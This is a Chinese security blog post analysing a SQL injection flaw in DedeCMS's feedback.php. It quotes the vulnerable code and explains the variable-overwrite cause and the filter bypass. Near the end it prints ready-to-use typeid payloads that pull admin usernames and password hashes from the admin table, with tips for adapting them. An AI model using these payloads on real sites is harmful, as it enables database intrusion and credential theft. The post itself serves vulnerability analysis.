您的位置 » 首页 » 代码审计 » 代码审计:对最近dedecms注入漏洞产生原理的分析

代码审计:对最近dedecms注入漏洞产生原理的分析

发表于5年前 | 作者: seay | 分类: 代码审计 | 孵化于:2012年11月15日 | 文章热度:6,654 次 全屏阅读

显示不全请点击全屏阅读

那天乌云上发了dedecms feed.back typeid的注入漏洞,下午就被忽略然后修复了。作者没公布利用方法,然后第二天就有了这篇文章….
该漏洞是cyg07在乌云提交的, 漏洞文件: plus\feedback.php。
存在问题的代码:


if($comtype == ‘comments’)
{
$arctitle = addslashes($title);
if($msg!=”)
{//$typeid变量未做初始化
$inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’, ‘{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’); “;
echo $inquery;//调试,输出查询语句
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(‘ 发表评论错误! ‘, ‘-1’);
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == ‘reply’)
{
$row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id =’$fid'”);
$arctitle = $row[‘arctitle’];
$aid =$row[‘aid’];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,'{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’)”;
$dsql->ExecuteNoneQuery($inquery);
}

$BS8JVDS2DT8HF1F38[D2NQ

 

完整的输入语句,第二个参数 typeid可控。

INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');

0~A{MDG9}BIHJ_%`C)G8FWH
common.inc.php文件 会把所有的request进行处理。

 

function _RunMagicQuotes(&$svar)
{
  if(!get_magic_quotes_gpc())
  {
  if( is_array($svar) )
  {
    foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
  }
  else
  {
    if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
    {
    exit('Request var not allow!');
    }
    $svar = addslashes($svar);
  }
  }
  return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
  {
  foreach($$_request as $_k => $_v) 
      {
        if($_k == 'nvarname') ${$_k} = $_v;
        else ${$_k} = _RunMagicQuotes($_v);
      }
  }
….

从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中

 

function _FilterAll($fk, &$svar)
{
  global $cfg_notallowstr,$cfg_replacestr;
  if( is_array($svar) )
  {
  foreach($svar as $_k => $_v)
  {
    $svar[$_k] = _FilterAll($fk,$_v);
  }
  }
  else
  {
  if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
  {
    ShowMsg(" $fk has not allow words!",'-1');
    exit();
  }
  if($cfg_replacestr!='')
  {
    $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
  }
  }
  return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
  foreach($$_request as $_k => $_v)
  {
  ${$_k} = _FilterAll($_k,$_v);
  }
}

上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。
所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。
Eg: typeid=2\’ 经过覆盖 typeid=2’
研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此参数,

RO5(_L62(ML0SRS119G{YPM

其实这里也利用了一个小bugZ7VOR8ST4[{VAFUOM{$X`0T

可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。25BV%5)]1}PEO90X)8F4L@N
补充 :`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg` aid是文章的ID 所以直接用我的语句是不成功的,需要修改成自己的文章ID
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(评论文章ID,’1111

如 Tamper提交,(文章id=123)msg改为

mcbang&typeid=0′,’3′,’4′,’5′,’0′,’1351739660′,%20’0′,’0′,’0′,’0′,’0′,’aaaaaa’),(‘123′,’2′,@`’`,’4′,’5′,’1′,’1351739660′,%20’0′,’0′,’0′,’0′,’0’,(SELECT concat(uname,0x5f,pwd,0x5f) from ‘@#__admin’)),(123,’2

 

原文:http://ha.cker.in/930.seo

Tags:

dedecms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1647/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)